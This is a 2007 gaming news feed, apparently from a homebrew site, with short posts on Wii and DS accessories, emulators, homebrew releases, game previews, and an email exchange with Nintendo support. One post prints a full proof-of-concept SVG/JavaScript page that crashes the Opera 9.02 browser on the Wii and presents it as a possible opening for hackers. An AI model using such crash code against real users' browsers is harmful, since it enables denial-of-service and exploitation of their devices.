Nyko’s Charge Station for Wii enables gamers to simultaneously charge two Wii remotes, maintaining a steady supply of power with two additional rechargeable NiMH batteries. The charging dock allows the user to easily keep 2 Wii-Remotes charged at all times by plugging into any wall outlet. The dock has convenient and easy to read LED indicator lights, as well as a 6 foot power cord that allows the unit to be conveniently placed in even the most crowded entertainment areas. For those active gaming sessions, the Charge Station for Wii also includes two rubberized battery covers to make sure even the most energetic gamer keeps a grip on the Wii-Remote. The Charge Station for the Nintendo Wii will has a suggested retail price of $29.99.
For the ultimate in convenience and performance, Nyko’s Wireless Sensor Bar provides a neat, obstacle-free gaming environment. With the Wireless Sensor Bar, Wii gamers can play up to 25 feet away from their television with no wires or cords. The Wireless Sensor Bar can be placed anywhere the consumer wishes, making it ideal for wall-mounted televisions and projectors. The product features up to 30 hours of battery life on four AA batteries (included), and also includes an optional built-in battery saving function which emits an audible alarm when the Wireless Sensor Bar has been left idle for a user-determined amount of time. The Wireless Sensor Bar for the Nintendo Wii will has a suggested retail price of $19.99.
To meet the needs of consumers demanding the best in visual performance from their Nintendo Wii, Nyko is proud to offer the HD-Link for Wii. The HD-Link provides a crystal clear image at a resolution of up to 480p. The cable also includes high-quality audio cables, providing realistic immersive sound. The HD-Link is 8 feet long to accommodate any entertainments setup and is shielded to provide interference-free performance. The HD-Link for the Nintendo Wii has a suggested retail price of $19.99.
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January 6th, 2007, 02:27 Posted By: wraggster
PotatorDS is a new Watara Supervision Emulator for the Nintendo DS:
-Added Sound
-Added Options menu
-Updated to Minimal Lib 0.C
-Added NDS Port (very slow)
NOTE: DS support is minimal at the moment and will only boot a rom named test.sv in the folder sv in the root of your cf/sd card
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January 6th, 2007, 02:33 Posted By: wraggster
Gamecube Emulator for Windows WIP News update from Shizzy
Some progress since I started the new video plugin for Gekko, about a month ago. As of right now, it's dubbed a "wireframe plugin" - however it's just as capable of rendering faces (I just choose to debug in wireframe mode). No textures are implemented yet, and I have not concentrated to much on vertex colors, although some formats are indeed implemented.
It is very functional, however something is not right causing mostly all commercial games to crash. Havn't quite figured it out yet, but I know it's because of bugs in parsing the fifo.
-ShizZy
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January 6th, 2007, 02:44 Posted By: wraggster
via dsfanboy
It may still be a good week plus away, but many of the magazine reviews for Phoenix Wright: Ace Attorney Justice For All are finally beginning to surface and, given our incredible love of all things involving Phoenix, we thought it appropriate to do something a bit different for a metareview on the game.
See, we're going to count up what the magazines have to say first and as the game gets closer to release and websites begin to chime in (we realize a lot have reviewed the Japanese import, but that doesn't count), we'll go ahead and do another metareview for those.
Game Informer - 80%: "What it lacks in advance graphics and interface, JFA more than makes up for in charm and intrigue." [Jan 2007, p.115]
GamePro - 80%: "Still, Justice For All demonstrates enough of the plucky spirit that made the first game so memorable." [Feb. 2007, p.82]
Nintendo Power - 90%: "The verdict is in: Phoenix Wright: Ace Attorney Justice for All is another superb graphic-text adventure from the folks at Capcom."
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January 6th, 2007, 02:46 Posted By: wraggster
The DS Motion Card has been released, heres some info:
The DS Motion Card is a revolutionary motion sensor for the DS and DS Lite handheld gaming systems. It contains a 3-axis accelerometer and a single-axis gyroscope, and plugs into the DS card slot to enable full motion sensing on the DS and the DS lite.
It is the first tri-axis accelerometer that can be used for homebrew DS development, and the first and only accelerometer/gyroscope combination available for handheld gaming.
More details etc here --> http://ndsmotion.com/
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January 6th, 2007, 02:57 Posted By: wraggster
MoonShell is a multimedia player for Nintendo DS (Lite) consoles. It has support for DPG video files, MP3/NSF audio files and viewing JPG/Jpeg/BMP/PNG (non progressive) files, it also has support for TXT textfiles. MoonShell supports dualscreens and it has full support for the touch screen. MoonShell has plug-in system that allows to add any compatible plug-in just by copying the plug-in files to the appropriate folder. MoonShell also comes with several kind of useful plug-ins.
Heres whats new:
- Version 1.6finalbeta4 2007/01/05
There is no change in the main body of MoonShell.
DLDI driver changed: The NDSROM comment for R4TF was changed.
DLDI driver added: ez5s_moon.dldi EZ Flash 5 (SD Card)
EZ5 requests the firmware version 1.1. Please refer NDSROM comment window.
Confirmed DLDI driver.
MPCF, M3CF, EZSD(EZ4Lite/EZ4LiteDeluxe), DLMS, EWSD, SCCF, SCSD, NMMC, nsd2, G6FL(G6Normal/G6Lite), EZ5S, M3SD(M3OldPro/M3NewPer/M3NewPro/M3Lite), R4TF(M3Simply-R4DS).
Unconfirmed DLDI driver.
EZSD(EZ4MiniSD/EZ4LiteCompact), MMCF, MPSD, NJSD, SCDS, M3SD(M3NormalSD/M3OldPer).
Failed DLDI driver.
AKFS...
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January 6th, 2007, 03:01 Posted By: wraggster
Updated release from Spag
-As suggested, I've added bass fretboards. You can now switch between guitar / bass 4 / bass 5 / bass 6. Default is guitar.
-You can now use the stylus on every button (touch a card to display its notes).
-Changed UI to make it a bit less ugly.
It's ugly and it's my first app in C ever, so I guess it could be improved, but it works. The stylus is still buggy (I don't know how I can do the same action just ONCE with "PA_SpriteTouched") so I recommend you use the pad for now.
Maybe someone else than me can have a use for it!
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January 6th, 2007, 03:06 Posted By: wraggster
The R4DS Slot 1 Flash Cart has had a new Kernal release, heres whats new:
1. Supports DIY skin
2. SHELL, MOONSHL,_SYSTEM_ directory and _DS_MSHL.NDS are invisible in "display game only" mode
3. Supports 4-scale-lightness adjustment (DSLite only)
Download Here
More Info about the flash Cart
- Same size as an original DS cart
- Built-in PassMe
- Using Micro SD card (Trans Flash) as storage. Cheap & multiple use for cards
- Boot clean dump images
- Very simple to use: drag and drop files to the micro SD card
- No drivers required
- Standard FAT system support
- Supports different speed of micro SD card even the low speed SD card. Runs games without any lag or slow down
- Upgradable Firmware ( OS / Bios / Kernel )
- Touch screen control & robust skinning support
- No battery needed, back up the save file directly into the micro SD card: Never lose your saved games
- Auto detect the save type & automatically generate saver file
- Homebrew support , IO lib available on launch
- Watch movie directly, listen to MP3 & read TXT on the DS via the use of Moonshell
- Supports WiFi, DS rumble pack & DS browser .
Buy at Divineo USA
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January 6th, 2007, 03:16 Posted By: wraggster
via Lemproject
Good news! I’ve fixed the bug which caused intermittent crashes between the level select and level info screens. (Trivia fans can compare the sources between v3.1 and v3.2 to find my… umm… strange mistake.)
Also, can I just make a request, folks: I can only make Lemmings DS work on devices that I have at my disposal. (That’s Supercard SD, and GBA flashcarts.)
There is no way for me to be able to test modifications to Lemmings against devices I don’t have! .
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January 6th, 2007, 03:29 Posted By: wraggster
via ign
Someone has at last decided to make a game based off the best cartoon ever (excluding cartoons with the words Transformers or Mighty Orbots in the title, of course). The five lions of the first Voltron television series will be making their way to not one, but two screens, as featured characters in Super Robot Taisen W, the upcoming DS entry in Banpresto's unending strategy series.
Hyakujuu-Ou Golion, as the lion-based Voltron series is known in Japan, is just one of the series planned for inclusion in the game. Joining it will be shows like Nadesico, Majinkaizer, and lots and lots of Gundam. A total of 18 series will make the cut this time around.
Like Voltron, a numer of the series are making their portable Super Robot Taisen debut with this title. You'll also get a first look on a portable game system at Yuusha Ou GaoGaiGar, Gundam Seed Astray and Detonator Orgun.
Sadly, Super Robot Taisen W won't have voice, so we won't be able to hear Keith, Lance, Pidge, Hunk and Sven (based off the screenshots that we've seen, Sven seems to pilot the blue lion in the game, instead of Princess Allura). Of course, this isn't a big deal for us, since the voices would've been in Japanese anyway.
The "W" in the game's title is in reference both to the DS's two screens (the Japanese associate "W" with "Double") and to the fact that the game's scenario is split into two parts. Banpresto played similar tricks with the scenarios for the Alpha Gaiden and R entries in the series, only this time, the second scenario will follow the first after only a slight time gap.
Super Robot Taisen W is set for Japanese release on March 1st. Does the Voltron connection guarantee a US release? Hells no! But, thankfully, DS software is region free, so interested parties will be able to import.
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January 6th, 2007, 19:32 Posted By: wraggster
via joystiq
People of Canada, you can win a giant life-sized link to roam the plains of Saskatchewan ... or just have it sit in your room, staring at you with those deep blue eyes. Nintendo of Canada is having a contest between now and Jan. 31, the grand prize is a "limited edition life-size collectible statue of the character Link from the Legend of Zelda." Approx. value is $500 CDN ($425 USD). Three second prize winners get a Link "statuette."
Here's a weak part for the grand winner: "Delivery charges are the sole responsibility of each winner." So, not only do you have to win Link, but you've got to ship his "life-size" self. No details on Link's height or weight. We wish there was a bigger photo to show, but that's all we've got. Beware the pointy ears though, you'll poke your eye out.
More Info
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January 6th, 2007, 19:35 Posted By: wraggster
Via joystiq
Leave it to the Japanese to come up with a game featuring banjo music, a picturesque American countryside, and a bizarre cow running and smashing everything in site. As lame as this game might sound on paper, it actually looks like addictive Katamari-inspired fun. When's the last time you drove a cow around with Wii-mote? Probably never, and that's far too long a time to go without.
Check out the rootin' tootin' footage after the jump, and then look to score a ride of your own when Cow Run comes out for the Wii. No word yet if it includes cow tipping, but there's a game unto itself right there just waiting to be made.
video Here -->
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January 6th, 2007, 19:38 Posted By: wraggster
via joystiq
While sauntering the internet the other day for work I stumbled upon a marketing company's website. After clicking on the executive profile page to get a better feel for who was involved, I quickly noticed the use of Mii avatars representing the management team. I've never been one for real-estate-esque mug shots on business sites, so these were somewhat refreshing, especially considering the fact that I'm a gamer. And I bet you they even used Joystiq's snazzy Mii creator for the goods. Anyone else seen Mii mug shots in the wild?
more info
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January 6th, 2007, 19:49 Posted By: wraggster
via wiicafe
A brief chat with a local Nintendo rep led me to some interesting new facts - most notably that Nintendo is hard at work on Animal Crossing for the Wii (no surprise there, but it's good to know it's coming). I didn't get too many details from the guy, but what I can tell you is that it will most definitely be online enabled, just as its DS counterpart was and GameCube counterpart should have been. As far as classic games that were included in the original, no official decision has been made yet as to if they'll be the Wii version. The coolest little bit of info was the fact that the game will actually connect into your Forecast channel so that the game's weather will actually reflect what's going on outside. No release date was specified, but the rep I talked to expected that we should be getting it at some point this year.
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January 6th, 2007, 21:03 Posted By: wraggster
via dsfanboy
Yep, this one's probably not for us, but it's so cute that we couldn't resist. If a DS skating game did see an English language release, it's the sort of thing we might play in the closet, so that no one knows our secret dark obsession with landing that perfect double axel. Also, if it wasn't quite so tee-hee pretty ... it's a little too glittery for our taste, but the concept is solid. Winter sports tend to make for fun gaming forays.
Screens Via Comments
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January 6th, 2007, 21:06 Posted By: wraggster
Mr Sid has released a new game for the DS thats a clone of the old International Karate game that was out on the 8Bits.
Video Here-->
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January 6th, 2007, 21:17 Posted By: wraggster
Infantile Paralysiser have posted a new release of his image viewer for the Nintendo DS:
The disk driver was completely changed to DLDI.
Attention: Start NDSROM file name was changed.
EZ5 requests the firmware version 1.1.
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January 6th, 2007, 22:35 Posted By: wraggster
via verdicts
An unconfirmed source has revealed that Nintendo are currently working on a wireless version of their Nunchuck attachment for the Wii remote.
This comes after many complaints from gamers who feel that the dangling wire which links the two devices, simply distracts from gameplay, especially in games which require significant movement of the arms, such as Wii Boxing or Call of Duty 3.
The Wii Nunchuck gets it's name from the martial arts weapon, the ''Nunchuckas'' because of the similarities in design; a chain/wire connects two heavier objects at either end. The wireless Nunchuck attachment will possibly undergo a name-change to make sense.
There's no reason for Nintendo not to make future wireless devices for the Wiimote - a wireless reciever would plug into the remote in place of any wires linking the two. Communications between Wiimote and Console would be as normal. The downside to this is the added drain on batteries, though with Nintendo's track record with their previous wireless technologies, we're sure they will leap this hurdle.
Nintendo were unable to comment at the time of press.
Although no official announcements have been made, we will certainly be following this story closely and hope to hear from Nintendo soon regarding the matter.
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January 7th, 2007, 18:52 Posted By: wraggster
Via Nibris
A new horror game called Sadness is being developed and its for over 21 year olds:
"...In my head there is a voice, different from the others. Whenever it answers it overwhelms the remaining voices, it mixes up thoughts and destroys peace. It tells me that I'm only mixed up in a thought which yearns to prove its own existence. It is the original voice, which wants to free itself from my head, to free itself from the logic and reason it is being stifled by. It is the voice of chaos which is now screaming frightfully in my head for me to take an axe resting against the wall and cut off my father's head..."From the upstart Cracow, Poland development team of NIBRIS, Sadness is a gothic horror adventure game with survival horror elements. The game plans to make players confront their fears with only what they can grab up out of their environment to protect them.
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January 7th, 2007, 18:55 Posted By: wraggster
Heres an excerpt of the review:
Meanwhile, "Elebits" offers both a single-player story mode, a multiplayer mode (up to four people can compete against each other at one time) and, in a nice bit of added depth, an edit mode that allows you to create and customize your own game levels to play.
Here you can fill a room with objects to search and hidden Elebits to find and then share your creation with other players via Nintendo's online WiiConnect24 service.
No, the game's graphics are not exactly stunning. But again, that's not what the Wii is all about. Instead, thanks to the way "Elebits" incorporates the functionality of the controllers, the game is hugely fun to play, a truly unique offering and one of those titles that manages to keep you wrapped up in it for hours longer than you ever intended.
More info
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January 7th, 2007, 18:58 Posted By: wraggster
via robodance
The next version of Robodance will have support for the Nintendo Wii Remote control! I already have it working and I will release this version as soon as I test it fully and streamline a few things. You can see a sneak preview of it being demonstrated fully in this YouTube video
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January 7th, 2007, 19:09 Posted By: wraggster
via haloinformer
So, for the past couple days, the web has been abuzz about Halo for DS. According to Matt Casamassina at IGN, Halo was once being ported to the DS. (You can read his blog entry here) Not entirely unbelievable, as Microsoft isn't competing in the handheld market, and a few other Microsoft properties have come to Nintendo handhelds. (A few Rareware games for the GBA come immediately to mind.) However, I'm calling BS on this one.
1) Post date. January 4th? 1/4? Turn it around and it not-so-suprisingly becomes 4/1, or April 1st. Not exactly proof, but for a story this unbelievable, well...
2) If this was actually in development, and IGN editors had copies of this to play, you can bet they would have not had second thoughts about breaking this story. It would have been (quite literally) one of the biggest stories of the year. The fact that it has only now come to be mentioned, after its supposed 'cancellation,' and on a editors blog no less, gives it away even more.
However, are we to rule it out as a simple prank, or a test? I've actually never paid attention to Matt at IGN before, so I'm not sure how the guy acts on IGN, but I wouldn't be suprised if it was a publicity test to see how much people actually want to see Halo on DS.
In fact, I wouldn't be suprised if there actually were talks to put Halo on DS. But an actual playable preview release, but no major story or preview on IGN? A massive scoop, but they don't post anything about it. Especially considering how publishers don't send preview code for games that are cancelled. I'm calling bull. Especially considering Matt posted a fake mock-up. Certainly, you'd think there would be at least one camera in IGN's offices.
Oh, by the way folks, Matt is on vacation. Hrm. Havn't we seen this before?
Update: Just wanted to point a few things out that I didn't emphasize on enough. Perhaps I should have put the entire thing in bold, but people don't read, apparently.
- Nowhere does it state MS will never put it on DS, nor does it state they are against putting anything on DS. In fact, read the first sentence of the second-to-last paragraph up there. Or the second portion of the first paragraph.
- Matt has apparently had other editors post pranks on his account before. In fact, I think I also pointed that out above.
- Of course it is speculation.
- The focus of the article isn't "Matt is a lying *insert insult here*" but rather why it is a safe bet this playable code never existed. Had there been any sort of hands-on play of this game, it would have been all-over IGN. And had the game been cancelled before it was supposedly played, it wouldn't have been played because PR reps don't mail out previewable code for cancelled games. I don't know how much more bluntly I can state that.
Dumbasses, I swear.
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January 7th, 2007, 19:10 Posted By: wraggster
via siliconera
Konami’s survival adventure sequel, Survival Kids: Lost in Blue 2 is scheduled to come out on March 15, 2007 in Japan. Once again a boy and a girl are on an island and they have to find a way to survive. Animals can attack the duo in Lost in Blue 2 and you have to find a way to fight back with weapons. Lost in Blue 2 also has some multiplayer mini games aside from the story mode. In related Konami news, they announced that Puzzle Series: Jigsaw Puzzle Odenkun 2 is coming out on March 29, 2007. As the name implies it is a jigsaw puzzle game with the Odenkun anime characters where you use the stylus to put together puzzles. While Jigsaw Puzzle Odenkun probably won’t be coming to the USA, Lost in Blue 2 is scheduled for a US release in the first quarter of 2007.
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January 7th, 2007, 19:19 Posted By: wraggster
Some news from the coders of Okiwi which is going to be a free NDS Browser:
These days I've been working in the graphical user interface and now I'm including a necessary keyboard to allow text input in our Nintendo DS.
My intention is to publish in the very short term a demo which will show that pieces of the software that can integrate with each other yet and play their role, although in an incomplete fashion. I hope all doubts about this browser's development reality clear up this way.
About collaborations, altough I thank that some of you are offering to contribute with graphics or programming, the project is closed to this by now. It's probable that this changes in the future, and I try to make a team. If that happened, I'd make a request in the blog and I'd begin to gather applications from that point.
Some words to the blog translators: thank you for the work you've done till now. From here on I will deal with that task, until the updating frequency raises again making it advisable for me to leave it.
By the way, ¡happy 2007!
por Pedro J. Estébanez
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January 7th, 2007, 19:24 Posted By: wraggster
WFCStatus by Kevin is a status viewer for Nintendo's WiFi connection. It basically reads all the data from Nintendo's website without loading tons of animations and images in a browser.
Features
Global Wi-Fi Gaming Service Status
Online status for 11 gamehubs
Gamehub Player Stats (Top 5 Most Active & Player Logins)
Overall Gaming Stats (Top 5 Most Active & Player Logins)
Detailed Day vs. Night Activity graphs for all games
Now Online! Showing 20 random online gamers
Get notified when your nick shows up in Now Online! (11 games)
View stats for more than 50 wi-fi enabled DS and Wii games
View stats and online players for homebrew wi-fi games (OMalone 2 )
View the Last 20 Tetris DS Scores
Animal Crossing Wild World Events Calender
Easy DS and Wii Errorcode Submit
Runs in system tray
Heres whats new:
- Added 3 DS games (incl. Bomberman Story DS)
- Added optional average in Day vs. Night graphs
- Updated 6 boxarts
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January 7th, 2007, 19:24 Posted By: wraggster
WFCStatus by Kevin is a status viewer for Nintendo's WiFi connection. It basically reads all the data from Nintendo's website without loading tons of animations and images in a browser.
Features
Global Wi-Fi Gaming Service Status
Online status for 11 gamehubs
Gamehub Player Stats (Top 5 Most Active & Player Logins)
Overall Gaming Stats (Top 5 Most Active & Player Logins)
Detailed Day vs. Night Activity graphs for all games
Now Online! Showing 20 random online gamers
Get notified when your nick shows up in Now Online! (11 games)
View stats for more than 50 wi-fi enabled DS and Wii games
View stats and online players for homebrew wi-fi games (OMalone 2 )
View the Last 20 Tetris DS Scores
Animal Crossing Wild World Events Calender
Easy DS and Wii Errorcode Submit
Runs in system tray
Heres whats new:
- Added 3 DS games (incl. Bomberman Story DS)
- Added optional average in Day vs. Night graphs
- Updated 6 boxarts
Download and Give feedback Via Comments
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January 7th, 2007, 19:30 Posted By: wraggster
Could this be a way in for the hackers, heres the details:
There's a new Opera vulnerability out for 9.02 (the version the Wii runs) that it appears the wii is susceptible to as well. The vulnerability disclosure is here
Test it out here. This will crash your Wii. Browse your wii to this site and then click this link
The code was created by Jumper and is as follows:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg id="mySVG" width="100%" height="100%" version="1.1"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100"
style="fill:rgb(0,0,255);stroke-width:1;
stroke:rgb(0,0,0)"/>
<script>
var svg = document.getElementById("mySVG");
var matrix = svg.createSVGMatrix();
var i=0xffffffff, randomObject = {a:i,b:i,c:i,d:i,e:i,f:i};
try{
svg.createSVGTransformFromMatrix(matrix);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(randomObject);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(null);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(i);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(new Array(i));
}catch(e){}
</script>
</svg>
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January 7th, 2007, 20:33 Posted By: wraggster
via engadget
If there's one combination that we can all agree is great, it's two hydrogen molecules getting down with one oxygen molecule. H2O-yeah. One combination we're not so down with: H2O and electronics. The war between the two factions is ancient and storied, full of broken dreams (and motherboards). To help prevent such senseless violence, Atlantic is dipping their waterproof toes back into the consumer electronics pool with two new entries to their GameKeeper line: waterproof gameSEAL cases for both the Nintendo DS (Phat and Lite varieties) and the PSP, available now for $39.99. The PSP model can hold the console, 10 UMDs, two Memory Stick Duos, and charger; the DS model holds the console, 12 DS carts, 16 GBA carts, plus charger. GameSEAL, get it? It seals, like a case, but it's waterproof, like a seal. Clever.
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January 8th, 2007, 01:13 Posted By: wraggster
Smealum has updated his awesome looking Doom Type game for the Nintendo DS, heres the full translated info:
New version! More stable version, with a total recasting of the network transfer! This version does not make any more crasher the livebox! On the other hand, I did not make all the completions, and you will notice that when you kill an enemy, instead of téléporter at the point of respawn, it leaves there while running… That will be corrected of course You will also note if you are attentive that the number of packages received (visible on the screen of bottom….moreover if you are gifted you can cheat and to guess the position of the adversary with) VERY STRONGLY decreased… but when I very strongly say, it is a passage of the 20~30 packages/second with the 1~2 packages/seconds Besides, no really visible innovation…
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January 8th, 2007, 02:26 Posted By: wraggster
Naugty me, theres some Gamecube Homebrew releases we havent got, heres the first batch as i get them all at DCEmu:
ASCII Fighter - Obvious what this is about
Nitrorally
GameCube pong, By DesktopMan
Speed Pong 4p by Johloemoe
Terraringma demo - rpg demo
Tetris
XRickGC by Anders Granlund
Yeti 3D
Download them all via Comments
thx to theskeen for the files
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January 8th, 2007, 05:54 Posted By: shadowprophet
Have you ever thought about writing a huge developer like nintendo?
Have you ever wondered, what might happen if someone did reply to your email?
What sage insight The big N may drop upon you, Just because you felt the need to ask?
Well, Here is an example of the kind of reply one may receive from the big N.
Regardless of the general content. Its still humbling that massive corporations Like nintendo hire staff to do a job a dedicated email bot could reply too.
My original question to nintendo.
From: raiden_1@hotmail.com
Posted At: 08:11:27.000 12/25/2006
Posted To: Nintendo <nintendo@noa.nintendo.com>
Subject: Webform: Wii > General Questions / Feedback
Dear nintendo, Merry X-Mas! and congratulations on the success of the wii.
My friends and I would like to know some information, We are wondering.
If Zelda 2 (NES), Zelda, A link to the past (Snes), Zelda, ocarina of time, and majora's mask(N64), Are ever going to be released for the wii virtual console?
Any information on these titles pertaining to there Wii virtual console
releases would be greatly appreciated, however vague it may be,
Thank you in advance ,
Shadowprophet, And friends,
Their Reply.
Message(#6851-000540-7211\5407211)
Hello and thank you for contacting Nintendo,
I hope that you and your friends are enjoying the Wii console. At this
time, however, future titles that may be released for the Virtual Console
have not been announced.
Keep checking our website. When new titles are announced, you will see
them listed on our site.
Thanks for your email and good luck with all your games!
Nintendo of America Inc.
Bruce Mann
After reading this I decided, This was and awfully generic response.
I then decided to write them back one more time, But rather then send them a brand new email I just replied to the one they sent me and sent it back, Hoping that if someone human saw it, they would see this wasn't my first attempt at getting some kind of resolution to my questions.
So I sent them this
From: "ProPhetic Justice" <raiden_1@hotmail.com>
Posted At: 17:26:46.000 01/02/2007
Posted To: Nintendo <nintendo@noa.nintendo.com>
Subject: On the subject of Zelda 2,
Okay, I have one last question that I would like cleared up, If you guys have the
time. See Zelda 2 has been announced for release on the virtual console in Japan.
Why is there no news on an american or European launch ?
Does this mean titles like kid icarus, mario kart 64 and zelda 2 wont see a
state side virtual console release?
there is a whole different set of red tape nintendo must endure to
see the titles released in other countries??
Thanks again in advance guys. I promise If I get a response for this email, this will be the last time I bug you guys about the issue, lol :P
Signed Shadowprophet.
From: Nintendo <nintendo@noa.nintendo.com> To: raiden_1@hotmail.com
Subject: Re : Webform: Wii > General Questions / Feedback Date: Thu, 28 Dec
2006
Their reply
Hello,
It's great to hear from the many fans excited about the Virtual Console! So
many of you have contacted Nintendo regarding the games you would love to see
added. While we appreciate your excitement and support, decisions regarding
which games will be made available come from several different companies and are
influenced by a variety of factors apart of consumer suggestions.
The best place to share your excitement is through our Wii NSider Forums. The
NSider Forums may be accessed by clicking the link below:
http://forums.nintendo.com/nintendo/board?board.id=vc
To post your comments, you'll need a My Nintendo membership. However, it's free
and easy to get by going to the following web page:
http://my.nintendo.com/cpp/mynintendo/myNintendo.do
If you have questions about NSider Forums, please visit our FAQ page:
http://forums.nintendo.com/nintendo/help_faq
For more details about the Virtual Console, including a list of software that
will be made available by Dec. 31st, check out the following web page:
http://wii.nintendo.com/virtualconsole.jsp
Going forward, we anticipate anywhere from 10-15 new Virtual Console titles a
month across all systems, so there's hope that the title you're looking for will
eventually appear. Keep checking our website (www.nintendo.com) for updates!
Sincerely,
Nintendo of America Inc.
Shane O'Neil
Anyhow, It seems they where at least willing to hear me out even If they where awfully Vague about the issue. Anyway, Just thought I would post this as the follow up to my post weeks ago. It really takes nity about a full week to respond to an email for some reason.
As always Feel Free to
Leave feedback Via Comments below
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January 8th, 2007, 07:23 Posted By: wraggster
New for the Nintendo Wii from SuccessHK
Product Features of Nintendo Wii Wii Sports Pack
Tennis Racket
Golf Club
Baseball Bat
More realistic and exciting
Improve inspiration
More Description of Nintendo Wii Wii Sports Pack
Improve inspiration when using this product to play Baseball, Golf, and Tennis games. You will feel more realistic and exciting. To ensure safety, please match hand strap when playing games.
Buy from SuccessHK for USD 13.42 (10 dollars Cheaper than Brando was charging)
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January 8th, 2007, 11:29 Posted By: rmt38
Python for the Nintendo DS has been updated from Python 2.4.3 to Python 2.5.
Heres some info
This is a port of Python 2.5 to the Nintendo DS. However before you read further there are a couple of important things to know.
None of the DS hardware is as yet supported. This means that the use you can get out of this port is severely limited. You cannot access the microphone, the graphics, the speakers, the touchscreen or any of the controls. All you can do is enter lines of Python code into the console through the touchscreen keyboard seen in the picture to the right.
You need a homebrew device to get the Python rom onto your DS. I will not go into what is involved here, you will need to work this out on your own.
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January 8th, 2007, 16:59 Posted By: wraggster
via cvg
As previously announced, EA Japan is rehabilitating its classic management sim Theme Park in a new game for the DS and, by the looks of these first screens, it's shaping up nicely.
Thankfully, there's no over-ambitious 3D malarkey going on here - just old-school 2D sprites ensuring that you'll be building huge parks packed full of little people with no problem on your DS.
As one screen shows the game will predictably make use of the touch screen to make building and manipulating your park as easy as possible, and we can't wait to see how it handles when it lands on DS in the spring.
Screens Via Comments
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January 8th, 2007, 17:02 Posted By: wraggster
via cvg
The lower screen uses a grid system to make navigating and editing the city a cinch, while game creator, Will Wright, who can be seen in these shots, turns up to offer helpful advice.
The city-wrecking UFOs are back, as they can be seen in one shot, kidnapping one of your little people. And we expect natural disasters and economic crashes to cause all kinds of mayhem in your miniature, portable town. And the detail in these shots is amazing.
Look forward to Sim City hitting DS later this year
Screens Via Comments
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January 8th, 2007, 17:05 Posted By: wraggster
Elebits, Konami's bizarrely unique hide-and-seek adventure, will now be known as Eledees when it arrives in the UK this spring.
Eledees has players using a gravity-defying ray gun to lift up objects in the search the little Eledee creatures that have apparently made off with the world's supply of electricity.
It's unique gameplay really show off the potential of the Wii Remote, and it's one of the most unique games of recent years.
via cvg
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January 8th, 2007, 17:07 Posted By: wraggster
This new trailer from SSX Blur shows the new Wii-exclusive boarder in action, complete with two handy Wii Remote icons that reveal how stunts will be pulled with the Wii Remote.
As you fly off ramps, you can perform flips and spins by shoving the Remote left and right, or tilting it forward or backwards. Kicks and grabs are done with A and B.
It otherwise looks like the game will control as normal, using the Nunchuk analogue stick to steer your character, which is good news considering we were dreading an awkward motion-control system that could have ruined a decent game.
It looks pretty good too, and will look even better on your TV. SSX Blur is due to go on sale in March.
Trailer Here
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January 8th, 2007, 20:58 Posted By: wraggster
via gamespot
The Vic Viper takes flight again today as the NES edition of Konami's arcade shoot-'em-up Gradius has appeared on the Wii's Virtual Console. Acting as the game's wingmen are a pair of TurboGrafx-16 games, the vertically scrolling shooter Soldier Blade, and the action-role-playing game Dungeon Explorer. All three games are rated E for Everyone.
Originally released in 1986, the NES version of Gradius puts players in the cockpit of a starfighter fending off an alien invasion through seven stages. Designed for one or two players, the game is available for 500 Wii Points ($5).
The second shoot-'em-up of the week, Hudson Entertainment's 1992 offering Soldier Blade borrows the colored power-up mechanic of its fellow TG-16 shooters, Super Star Soldier and Blazing Lazers. Soldier Blade is a one-player game and sells for 600 Wii Points ($6).
Finally, Hudson Entertainment's 1989 action-RPG Dungeon Explorer originally required the TG-16's TurboTap accessory to allow simultaneous cooperative play for up to five players. Fortunately, the Virtual Console release allows five-player action with any combination of Wii Remotes and GameCube controllers. Players pick from eight different character classes ranging from genre staples like the fighter to more obscure choices like the bard or bishop, and then set out into the world to conquer a series of dungeons. Dungeon Explorer is available to download for 600 Wii Points.
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January 8th, 2007, 21:06 Posted By: wraggster
via insert credit
Speaking of Hudson, the company has an original map creation contest going on right now in japan. Some interesting entries so far, but nothing really amazing. Apparently you have to download this in order to compete...not quite sure how it all works, considering there's an edit mode built into the game, but I do hope some of these maps wind up as extras in any western version that may result.
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January 8th, 2007, 21:18 Posted By: wraggster
New from Play Asia
features
Features 6 characters based on the video game
Contains 1 out of 6 Screen Cleaner Phone Strap (shipped randomly!)
Limited availability
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January 8th, 2007, 21:21 Posted By: wraggster
Newly released today from Play Asia
features
Fully Compatible with Xbox 360™, Wii™, PS3™/PS2™
Support Component Signal (Stereo Function)
High Quality and High Speed for Transfer Signal.
Support Dolby Prologic.
Support DTS 5.1 Channel System.
Support DOLBY Digital and Surround Sound
Support Stereo Sound
Support Optical Signal
Compatible with Surround Receiver or Integrated Amplifier
Support CRT, Plasma, LCD or any HDTV System
Support D2 (480i/480P); (720i/720P) & D4 (1080 i/ 1080 P) technology.
Price: US$ 19.90 (~10.42 GBP)
Buy at Play Asia
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January 8th, 2007, 22:16 Posted By: wraggster
via joystiq
There's nothing quite like seeing a video game bringing families together, even if the above image does look like a page out of a slightly wacked IKEA catalog. Reader Jim has sent in his own entertaining tale about mom and dad proceeding to get hooked and pwn in Wii Sports, particularly bowling, as you can tell from his dad's nice form in the above photo.
Our own parental units were never really sucked in by the glitz and polygon counts of the other consoles, so it's great to see a new generation of gamers getting drawn in by the Wii-novation. Are we every going to declare a moratorium on adding Wii to words? You swear you'll never do it again, and then *bam* there it is. Wii apologize.
MoreInfo
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January 8th, 2007, 22:27 Posted By: wraggster
via wiifanboy
In the youtube video, we see one avid Wii Sports player find a perfect rhythm and spot to fling balls down the lane. So perfect, in fact, that he bowled a perfect game! It's probably not the first time someone has rolled a perfect game in Wii Sports: Bowling, but it is damn impressive nonetheless.
Video Here -->
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January 8th, 2007, 23:23 Posted By: wraggster
via yahoo
Tried to find a Nintendo DS recently? One minute they're sitting happily on the shelves of every megalomart in the country, and the next they're nowhere to be found. In some areas they're even scarcer than Nintendo's big holiday seller, the Wii.
In fact, retail tracker site iTrackr, which records availability of 20 or so high-demand products, currently rates the DS between 4 percent and 14 percent availability, depending on the color -- comparable to the Wii at 7 percent. The big online retailers sell out within minutes, and some haven't had stock at all for over a week. Hardly what you'd expect for a device that's been on the market for over two years, is it?
